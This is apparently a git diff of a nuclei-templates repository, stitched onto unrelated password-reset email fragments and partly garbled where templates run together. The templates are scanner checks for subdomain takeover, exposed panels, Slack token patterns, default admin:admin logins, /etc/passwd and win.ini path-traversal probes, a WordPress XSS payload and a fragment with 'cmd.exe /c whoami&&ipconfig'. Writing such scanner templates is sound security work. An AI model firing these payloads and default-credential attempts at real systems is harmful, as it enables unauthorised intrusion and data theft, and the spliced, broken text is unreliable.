We heard that you lost your password. Sorry about that!
But dont worry! You can use the following link to reset your password:
<%= URL %>?code=<%= TOKEN %>
Thanks.
<%= URL %>?confirmation=<%= CODE %>
The page you're looking for doesn't exist. diff --git a/nuclei-templates/Other/aftership-takeover.yaml b/nuclei-templates/Other/aftership-takeover.yaml new file mode 100644 index 0000000000..51aa2c439c --- /dev/null +++ b/nuclei-templates/Other/aftership-takeover.yaml @@ -0,0 +1,19 @@ +id: aftership-takeover +info: + name: Aftership - Subdomain Takeover Detection + author: pdteam + severity: high + description: Aftership subdomain takeover was detected. + reference: + - https://github.com/EdOverflow/can-i-take-over-xyz + tags: takeover +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Oops.
The page you're looking for doesn't exist. + +# Enhanced by mp on 2022/07/20 diff --git a/nuclei-templates/Other/agilecrm-takeover-209.yaml b/nuclei-templates/Other/agilecrm-takeover-209.yaml new file mode 100644 index 0000000000..a9c27d220f --- /dev/null +++ b/nuclei-templates/Other/agilecrm-takeover-209.yaml @@ -0,0 +1,15 @@ +id: agilecrm-takeover +info: + name: agilecrm takeover detection + author: pdteam + severity: high + tags: takeover + reference: https://github.com/EdOverflow/can-i-take-over-xyz +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Sorry, this page is no longer available. diff --git a/nuclei-templates/Other/agilecrm-takeover-210.yaml b/nuclei-templates/Other/agilecrm-takeover-210.yaml deleted file mode 100644 index 9f6a9a36d8..0000000000 --- a/nuclei-templates/Other/agilecrm-takeover-210.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: agilecrm-takeover - -info: - name: agilecrm takeover detection - author: pdteam - severity: high - tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: word - words: - - Sorry, this page is no longer available. \ No newline at end of file diff --git a/nuclei-templates/Other/aha-takeover-213.yaml b/nuclei-templates/Other/aha-takeover-213.yaml index 2cd6bcb83d..649b36b6e5 100644 --- a/nuclei-templates/Other/aha-takeover-213.yaml +++ b/nuclei-templates/Other/aha-takeover-213.yaml @@ -1,18 +1,15 @@ id: aha-takeover - info: name: Aha Takeover Detection - author: pdteam + author: pdcommunity severity: high tags: takeover reference: https://github.com/EdOverflow/can-i-take-over-xyz - requests: - method: GET path: - "{{BaseURL}}" - matchers: - type: word words: - - There is no portal here ... sending you back to Aha! \ No newline at end of file + - There is no portal here ... sending you back to Aha! diff --git a/nuclei-templates/Other/aims-password-mgmt-client-221.yaml b/nuclei-templates/Other/aims-password-mgmt-client.yaml similarity index 100% rename from nuclei-templates/Other/aims-password-mgmt-client-221.yaml rename to nuclei-templates/Other/aims-password-mgmt-client.yaml diff --git a/nuclei-templates/Other/aims-password-portal-222.yaml b/nuclei-templates/Other/aims-password-portal-222.yaml deleted file mode 100644 index 800dd21cad..0000000000 --- a/nuclei-templates/Other/aims-password-portal-222.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: aims-password-portal - -info: - name: AIMS Password Management Portal - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6576 - tags: panel,aims - -requests: - - method: GET - path: - - '{{BaseURL}}/aims/ps/default.aspx' - - matchers-condition: and - matchers: - - type: word - words: - - '
([0-9.]+)<\/p>' + +# Enhanced by mp on 2022/03/20 diff --git a/nuclei-templates/Other/avantfax-panel-603.yaml b/nuclei-templates/Other/avantfax-panel-603.yaml deleted file mode 100644 index 68b10166f2..0000000000 --- a/nuclei-templates/Other/avantfax-panel-603.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: avantfax-panel - -info: - name: AvantFAX Login Panel - author: pikpikcu,daffainfo - severity: info - metadata: - shodan-query: http.title:"AvantFAX - Login" - tags: panel,avantfax,login - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "
([0-9.]+)<\/p>' diff --git a/nuclei-templates/Other/avatier-password-management-605.yaml b/nuclei-templates/Other/avatier-password-management-605.yaml new file mode 100644 index 0000000000..f6295f4159 --- /dev/null +++ b/nuclei-templates/Other/avatier-password-management-605.yaml @@ -0,0 +1,20 @@ +--- +id: avatier-password-management + +info: + name: Avatier Password Management Self Service Portal + author: praetorian-thendrickson + severity: info + tags: panel,avatier + +requests: + - method: GET + path: + - '{{BaseURL}}/aims/ps/' + + matchers-condition: and + matchers: + - type: word + words: + - '
(.*)
Program + c:\windows\system32\cmd.exe +
Arguments + /c whoami&&ipconfig +
+
Powered by ' - - '' - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - group: 1 - regex: - - 'com">SkyCaiji<\/a> ([A-Z0-9.]+) 后台管理<\/p>' diff --git a/nuclei-templates/Other/skycaiji-admin-panel.yaml b/nuclei-templates/Other/skycaiji-admin-panel.yaml new file mode 100644 index 0000000000..8a3839310e --- /dev/null +++ b/nuclei-templates/Other/skycaiji-admin-panel.yaml @@ -0,0 +1,27 @@ +id: skycaiji-admin-panel +info: + name: SkyCaiji Admin Panel + author: princechaddha + severity: info + tags: panel,tech +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?s=/admin/Index/index" + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Powered by ' + - '' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - 'com">SkyCaiji<\/a> ([A-Z0-9.]+) 后台管理<\/p>' diff --git a/nuclei-templates/Other/skycaiji-install-10309.yaml b/nuclei-templates/Other/skycaiji-install-10309.yaml index b88e58204b..4edf4869d7 100644 --- a/nuclei-templates/Other/skycaiji-install-10309.yaml +++ b/nuclei-templates/Other/skycaiji-install-10309.yaml @@ -1,14 +1,16 @@ id: skycaiji-install + info: - name: SkyCaiji - Exposed Installation + name: SkyCaiji Exposed Installation author: pikpikcu severity: high - description: SkyCaiji was discovered. tags: tech,skycaiji,exposure,misconfig + requests: - method: GET path: - '{{BaseURL}}/index.php?s=/install/index/index' + matchers-condition: and matchers: - type: word @@ -18,8 +20,7 @@ requests: - 'https://www.skycaiji.com' - '' condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/07/21 diff --git a/nuclei-templates/Other/sl-studio-lfi-10320.yaml b/nuclei-templates/Other/sl-studio-lfi-10320.yaml new file mode 100644 index 0000000000..9679b24436 --- /dev/null +++ b/nuclei-templates/Other/sl-studio-lfi-10320.yaml @@ -0,0 +1,22 @@ +id: sl-studio-lfi +info: + name: Webbdesign SL-Studio Directory Traversal + author: 0x_Akoko + severity: high + reference: + - https://cxsecurity.com/issue/WLB-2018110187 + metadata: + google-dork: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' + tags: slstudio,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sl-studio-lfi.yaml b/nuclei-templates/Other/sl-studio-lfi.yaml deleted file mode 100644 index 90dd6e278e..0000000000 --- a/nuclei-templates/Other/sl-studio-lfi.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: sl-studio-lfi -info: - name: Webbdesign SL-Studio - Local File Inclusion - author: 0x_Akoko - severity: high - description: Webbdesign SL-Studio is vulnerable to local file inclusion. - reference: - - https://cxsecurity.com/issue/WLB-2018110187 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cwe-id: CWE-22 - metadata: - google-dork: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' - tags: slstudio,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/08/04 diff --git a/nuclei-templates/Other/slack-api(1).yaml b/nuclei-templates/Other/slack-api(1).yaml index 51bef1c14c..ea761c24d4 100644 --- a/nuclei-templates/Other/slack-api(1).yaml +++ b/nuclei-templates/Other/slack-api(1).yaml @@ -1,12 +1,15 @@ id: slack-api + info: name: Slack API Key author: gaurang severity: high tags: token,file,slack + file: - extensions: - all + extractors: - type: regex regex: diff --git a/nuclei-templates/Other/slack-bot-token-10310.yaml b/nuclei-templates/Other/slack-bot-token-10310.yaml deleted file mode 100644 index e520d806c8..0000000000 --- a/nuclei-templates/Other/slack-bot-token-10310.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: slack-bot-token - -info: - name: Slack access token - author: nadino - severity: info - tags: exposure,token,slack - -requests: - - method: GET - path: - - "{{BaseURL}}" - - extractors: - - type: regex - part: body - regex: - - "xoxb-[0-9A-Za-z\\-]{51}" \ No newline at end of file diff --git a/nuclei-templates/Other/slack-bot-token-10312.yaml b/nuclei-templates/Other/slack-bot-token-10312.yaml new file mode 100644 index 0000000000..8e76c2814d --- /dev/null +++ b/nuclei-templates/Other/slack-bot-token-10312.yaml @@ -0,0 +1,15 @@ +id: slack-bot-token +info: + name: Slack access token + author: nadino + severity: info + tags: exposure,token,slack +requests: + - method: GET + path: + - "{{BaseURL}}" + extractors: + - type: regex + part: body + regex: + - "xoxb-[0-9A-Za-z\\-]{51}" diff --git a/nuclei-templates/Other/slack-webhook(1).yaml b/nuclei-templates/Other/slack-webhook(1).yaml deleted file mode 100644 index 97548ae165..0000000000 --- a/nuclei-templates/Other/slack-webhook(1).yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: slack-webhook - -info: - name: Slack Webhook - author: gaurang - severity: high - tags: token,file,slack - -file: - - extensions: - - all - - extractors: - - type: regex - regex: - - "https://hooks.slack.com/services/T[0-9A-Za-z\\-_]{8}/B[0-9A-Za-z\\-_]{8}/[0-9A-Za-z\\-_]{24}" diff --git a/nuclei-templates/Other/slocum-login-10316.yaml b/nuclei-templates/Other/slocum-login.yaml similarity index 100% rename from nuclei-templates/Other/slocum-login-10316.yaml rename to nuclei-templates/Other/slocum-login.yaml diff --git a/nuclei-templates/Other/smartjob-takeover-10324.yaml b/nuclei-templates/Other/smartjob-takeover-10324.yaml deleted file mode 100644 index 51da5566a4..0000000000 --- a/nuclei-templates/Other/smartjob-takeover-10324.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: smartjob-takeover -info: - name: smartjob takeover detection - author: pdteam - severity: high - reference: - - https://github.com/EdOverflow/can-i-take-over-xyz - tags: takeover -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - Job Board Is Unavailable - - This job board website is either expired - - This job board website is either expired or its domain name is invalid. diff --git a/nuclei-templates/Other/smartjob-takeover.yaml b/nuclei-templates/Other/smartjob-takeover.yaml new file mode 100644 index 0000000000..66bc266bc8 --- /dev/null +++ b/nuclei-templates/Other/smartjob-takeover.yaml @@ -0,0 +1,17 @@ +id: smartjob-takeover +info: + name: smartjob takeover detection + author: pdteam + severity: high + tags: takeover + reference: https://github.com/EdOverflow/can-i-take-over-xyz +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Job Board Is Unavailable + - This job board website is either expired + - This job board website is either expired or its domain name is invalid. diff --git a/nuclei-templates/Other/smartling-takeover-10326.yaml b/nuclei-templates/Other/smartling-takeover-10326.yaml new file mode 100644 index 0000000000..b956b52d44 --- /dev/null +++ b/nuclei-templates/Other/smartling-takeover-10326.yaml @@ -0,0 +1,15 @@ +id: smartling-takeover +info: + name: smartling takeover detection + author: pdcommunity + severity: info + tags: takeover + reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/67 +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Domain is not configured diff --git a/nuclei-templates/Other/smartling-takeover-10327.yaml b/nuclei-templates/Other/smartling-takeover-10327.yaml deleted file mode 100644 index 00905c7342..0000000000 --- a/nuclei-templates/Other/smartling-takeover-10327.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: smartling-takeover -info: - name: smartling takeover detection - author: pdteam - severity: info - tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/67 -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - Domain is not configured diff --git a/nuclei-templates/Other/smartsense-default-login-10328.yaml b/nuclei-templates/Other/smartsense-default-login-10328.yaml deleted file mode 100644 index b4af83b266..0000000000 --- a/nuclei-templates/Other/smartsense-default-login-10328.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: smartsense-default-login -info: - name: HortonWorks SmartSense Default Login - author: Techryptic (@Tech) - severity: high - description: HortonWorks SmartSense default admin login information was detected. - reference: - - https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: hortonworks,smartsense,default-login -requests: - - raw: - - | - GET /apt/v1/context HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - "Set-Cookie: SUPPORTSESSIONID" - part: header - - type: word - words: - - "smartsenseId" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/nuclei-templates/Other/smartsense-default-login-10331.yaml b/nuclei-templates/Other/smartsense-default-login-10331.yaml new file mode 100644 index 0000000000..0bddf7fce8 --- /dev/null +++ b/nuclei-templates/Other/smartsense-default-login-10331.yaml @@ -0,0 +1,38 @@ +id: smartsense-default-login + +info: + name: HortonWorks SmartSense Default Login + author: Techryptic (@Tech) + severity: high + description: Default Login of admin:admin on HortonWorks SmartSense application. + reference: https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html + tags: hortonworks,smartsense,default-login + +requests: + - raw: + - | + GET /apt/v1/context HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + payloads: + username: + - admin + password: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: SUPPORTSESSIONID" + part: header + + - type: word + words: + - "smartsenseId" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/Other/smartstore-detect-10332.yaml b/nuclei-templates/Other/smartstore-detect-10332.yaml new file mode 100644 index 0000000000..3fbff40d7a --- /dev/null +++ b/nuclei-templates/Other/smartstore-detect-10332.yaml @@ -0,0 +1,37 @@ +id: smartstore-detect + +info: + name: SmartStore Detect + author: princechaddha + severity: info + reference: + - https://github.com/smartstore/SmartStoreNET + metadata: + max-request: 1 + shodan-query: http.html:'content="Smartstore' + tags: tech,smartstore,oss + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - '' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '' + +# digest: 4a0a00473045022018a8bf80686d606487628b98a556864708b3e41d09ac2125c7b49dd65a7ce794022100f9709ab85ec5ebe2358b9f3bb10818003a36e06d2e1efcc8639d6f6b1c15df0d:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/Other/smartstore-detect-10334.yaml b/nuclei-templates/Other/smartstore-detect-10334.yaml deleted file mode 100644 index d3aa558182..0000000000 --- a/nuclei-templates/Other/smartstore-detect-10334.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: smartstore-detect -info: - name: SmartStore Detect - author: princechaddha - severity: info - reference: https://github.com/smartstore/SmartStoreNET - metadata: - shodan-query: http.html:'content="Smartstore' - tags: tech,smartstore,oss -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '' - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - '' diff --git a/nuclei-templates/Other/smb-v1-detection.yaml b/nuclei-templates/Other/smb-v1-detection.yaml index 4ff32b9e36..8326a7cd28 100644 --- a/nuclei-templates/Other/smb-v1-detection.yaml +++ b/nuclei-templates/Other/smb-v1-detection.yaml @@ -3,8 +3,9 @@ info: name: SMB-V1 Detection author: pussycat0x severity: low + reference: + - https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ tags: network,windows,smb,service - reference: https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ network: - inputs: - data: 00000031ff534d4272000000001845680000000000000000000000000000be2200000100000e00024e54204c4d20302e3132000200 diff --git a/nuclei-templates/Other/smugmug-takeover-10339.yaml b/nuclei-templates/Other/smugmug-takeover-10339.yaml new file mode 100644 index 0000000000..2ff73bff7a --- /dev/null +++ b/nuclei-templates/Other/smugmug-takeover-10339.yaml @@ -0,0 +1,16 @@ +id: smugmug-takeover +info: + name: smugmug takeover detection + author: pdteam + severity: high + reference: + - https://github.com/EdOverflow/can-i-take-over-xyz + tags: takeover +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - '{"text":"Page Not Found"' diff --git a/nuclei-templates/Other/smugmug-takeover-10340.yaml b/nuclei-templates/Other/smugmug-takeover-10340.yaml deleted file mode 100644 index 9678ab5c80..0000000000 --- a/nuclei-templates/Other/smugmug-takeover-10340.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: smugmug-takeover -info: - name: smugmug takeover detection - author: pdcommunity - severity: high - tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - '{"text":"Page Not Found"' diff --git a/nuclei-templates/Other/sniplets-lfi.yaml b/nuclei-templates/Other/sniplets-lfi-10342.yaml similarity index 100% rename from nuclei-templates/Other/sniplets-lfi.yaml rename to nuclei-templates/Other/sniplets-lfi-10342.yaml diff --git a/nuclei-templates/Other/sniplets-xss-10345.yaml b/nuclei-templates/Other/sniplets-xss-10345.yaml new file mode 100644 index 0000000000..42c48bf14f --- /dev/null +++ b/nuclei-templates/Other/sniplets-xss-10345.yaml @@ -0,0 +1,30 @@ +id: sniplets-xss + +info: + name: Wordpress Plugin Sniplets - XSS + author: dhiyaneshDK + severity: medium + description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets + reference: https://www.exploit-db.com/exploits/5194 + tags: xss,wordpress,wp-plugin,wp + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sniplets-xss.yaml b/nuclei-templates/Other/sniplets-xss.yaml deleted file mode 100644 index c48716aeb9..0000000000 --- a/nuclei-templates/Other/sniplets-xss.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: sniplets-xss -info: - name: Wordpress Plugin Sniplets - XSS - author: dhiyaneshDK - severity: medium - description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets - reference: https://www.exploit-db.com/exploits/5194 - tags: xss,wordpress,wp-plugin,wp -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/snyk-ignore-file-disclosure-10347.yaml b/nuclei-templates/Other/snyk-ignore-file-disclosure.yaml similarity index 100% rename from nuclei-templates/Other/snyk-ignore-file-disclosure-10347.yaml rename to nuclei-templates/Other/snyk-ignore-file-disclosure.yaml diff --git a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml new file mode 100644 index 0000000000..4e865626ce --- /dev/null +++ b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml @@ -0,0 +1,30 @@ +id: sofneta-mecdream-pacs-lfi +info: + name: Softneta MedDream PACS Server Premium 6.7.1.1 - Local File Inclusion + author: 0x_akoko + severity: high + description: Softneta MedDream PACS Server Premium 6.7.1.1 is vulnerable to local file inclusion. + reference: + - https://www.exploit-db.com/exploits/45347 + - https://www.softneta.com/products/meddream-pacs-server/downloads.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + metadata: + google-dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login + tags: sofneta,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini" + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + +# Enhanced by mp on 2022/08/04 diff --git a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml deleted file mode 100644 index b74037e94f..0000000000 --- a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sofneta-mecdream-pacs-lfi -info: - name: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal - author: 0x_akoko - severity: high - description: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal - reference: - - https://www.exploit-db.com/exploits/45347 - - https://www.softneta.com/products/meddream-pacs-server/downloads.html - metadata: - google-dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login - tags: sofneta,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini" - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/Other/solarwinds-default-admin.yaml b/nuclei-templates/Other/solarwinds-default-admin.yaml new file mode 100644 index 0000000000..421104562e --- /dev/null +++ b/nuclei-templates/Other/solarwinds-default-admin.yaml @@ -0,0 +1,45 @@ +id: solarwinds-default-admin + +info: + name: SolarWinds Orion Default Login + author: dwisiswant0 + severity: high + tags: solarwinds,default-login + reference: https://github.com/solarwinds/OrionSDK/wiki/REST + + # Optional: + # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 + # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} + +requests: + - raw: + - | + GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + - | + GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + payloads: + username: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Content-Type: application/json" + part: header + - type: regex + regex: + - "(totalRow|result|swi)s(:\\/\\/)?" + - "(Orion\\.|Poller(ID)?)s?" + condition: and + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/solarwinds-default-login-10355.yaml b/nuclei-templates/Other/solarwinds-default-login-10355.yaml deleted file mode 100644 index 64d31401a7..0000000000 --- a/nuclei-templates/Other/solarwinds-default-login-10355.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: solarwinds-default-admin - -info: - name: SolarWinds Orion Default Credentials - author: dwisiswant0 - severity: high - tags: solarwinds,default-login - - # Optional: - # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 - # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} - - # References: - # - https://github.com/solarwinds/OrionSDK/wiki/REST - -requests: - - method: GET - path: - - "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS" # First path is default base path - - "{{BaseURL}}/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS" - headers: - Authorization: "Basic YWRtaW46" - matchers-condition: and - matchers: - - type: word - words: - - "Content-Type: application/json" - part: header - - type: regex - regex: - - "(totalRow|result|swi)s(:\\/\\/)?" - - "(Orion\\.|Poller(ID)?)s?" - condition: and - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/solarwinds-orion-10357.yaml b/nuclei-templates/Other/solarwinds-orion-10357.yaml deleted file mode 100644 index a07f003f46..0000000000 --- a/nuclei-templates/Other/solarwinds-orion-10357.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: solarwinds-orion -info: - name: SolarWinds Orion Panel - author: puzzlepeaches - severity: info - tags: panel,solarwinds -requests: - - method: GET - path: - - "{{BaseURL}}/Orion/Login.aspx" - matchers: - - type: word - words: - - "SolarWinds Orion" - part: body diff --git a/nuclei-templates/Other/solarwinds-orion-10359.yaml b/nuclei-templates/Other/solarwinds-orion-10359.yaml new file mode 100644 index 0000000000..ed83c87d2b --- /dev/null +++ b/nuclei-templates/Other/solarwinds-orion-10359.yaml @@ -0,0 +1,17 @@ +id: solarwinds-orion +info: + name: SolarWinds Orion Panel + author: puzzlepeaches + severity: info + tags: panel +requests: + - method: GET + path: + - "{{BaseURL}}/Orion/Login.aspx" + headers: + User-Agent: "Mozilla Firefox Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0" + matchers: + - type: word + words: + - "SolarWinds Orion" + part: body diff --git a/nuclei-templates/Other/solr-exposure-10364.yaml b/nuclei-templates/Other/solr-exposure.yaml similarity index 100% rename from nuclei-templates/Other/solr-exposure-10364.yaml rename to nuclei-templates/Other/solr-exposure.yaml diff --git a/nuclei-templates/Other/solr-fileRead.yaml b/nuclei-templates/Other/solr-fileread.yaml similarity index 100% rename from nuclei-templates/Other/solr-fileRead.yaml rename to nuclei-templates/Other/solr-fileread.yaml diff --git a/nuclei-templates/Other/solr-query-dashboard-10369.yaml b/nuclei-templates/Other/solr-query-dashboard-10369.yaml deleted file mode 100644 index f36e4e3316..0000000000 --- a/nuclei-templates/Other/solr-query-dashboard-10369.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: solr-admin-query - -info: - name: Solr Admin Query Page - author: dhiyaneshDK - severity: high - reference: - - https://www.exploit-db.com/ghdb/5856 - tags: solr,unauth - -requests: - - method: GET - path: - - '{{BaseURL}}/admin/' - - '{{BaseURL}}/solr/admin/' - - matchers-condition: and - matchers: - - type: word - words: - - 'Solr admin page' - - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/solr-query-dashboard-10370.yaml b/nuclei-templates/Other/solr-query-dashboard-10370.yaml new file mode 100644 index 0000000000..c291114a6f --- /dev/null +++ b/nuclei-templates/Other/solr-query-dashboard-10370.yaml @@ -0,0 +1,24 @@ +id: solr-admin-query + +info: + name: Solr Admin Query Page + author: dhiyaneshDK + severity: high + reference: https://www.exploit-db.com/ghdb/5856 + tags: solr,unauth + +requests: + - method: GET + path: + - '{{BaseURL}}/admin/' + - '{{BaseURL}}/solr/admin/' + + matchers-condition: and + matchers: + - type: word + words: + - 'Solr admin page' + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/somfy-login-10371.yaml b/nuclei-templates/Other/somfy-login-10371.yaml new file mode 100644 index 0000000000..4a22eded46 --- /dev/null +++ b/nuclei-templates/Other/somfy-login-10371.yaml @@ -0,0 +1,18 @@ +id: somfy-login +info: + name: Somfy Login Page + author: DhiyaneshDK + severity: info + tags: panel,login +requests: + - method: GET + path: + - '{{BaseURL}}/m_login.htm' + matchers-condition: and + matchers: + - type: word + words: + - Home motion by Somfy + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/somfy-login.yaml b/nuclei-templates/Other/somfy-login.yaml deleted file mode 100644 index 2a3d4c40d1..0000000000 --- a/nuclei-templates/Other/somfy-login.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: somfy-login -info: - name: Somfy Login Page - author: DhiyaneshDK - severity: info - tags: panel -requests: - - method: GET - path: - - '{{BaseURL}}/m_login.htm' - matchers-condition: and - matchers: - - type: word - words: - - Home motion by Somfy - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/sonarqube-login-10376.yaml b/nuclei-templates/Other/sonarqube-login-10376.yaml deleted file mode 100644 index 1f9ab0f8cd..0000000000 --- a/nuclei-templates/Other/sonarqube-login-10376.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: sonarqube-login - -info: - name: SonarQube panel detect - author: dhiyaneshDk - severity: info - tags: panel,sonarqube - -requests: - - method: GET - path: - - "{{BaseURL}}/sessions/new" - - matchers: - - type: word - words: - - "SonarQube" - part: body diff --git a/nuclei-templates/Other/sonarqube-login.yaml b/nuclei-templates/Other/sonarqube-login.yaml new file mode 100644 index 0000000000..5bcb44b8e5 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-login.yaml @@ -0,0 +1,15 @@ +id: sonarqube-login +info: + name: SonarQube panel detect + author: 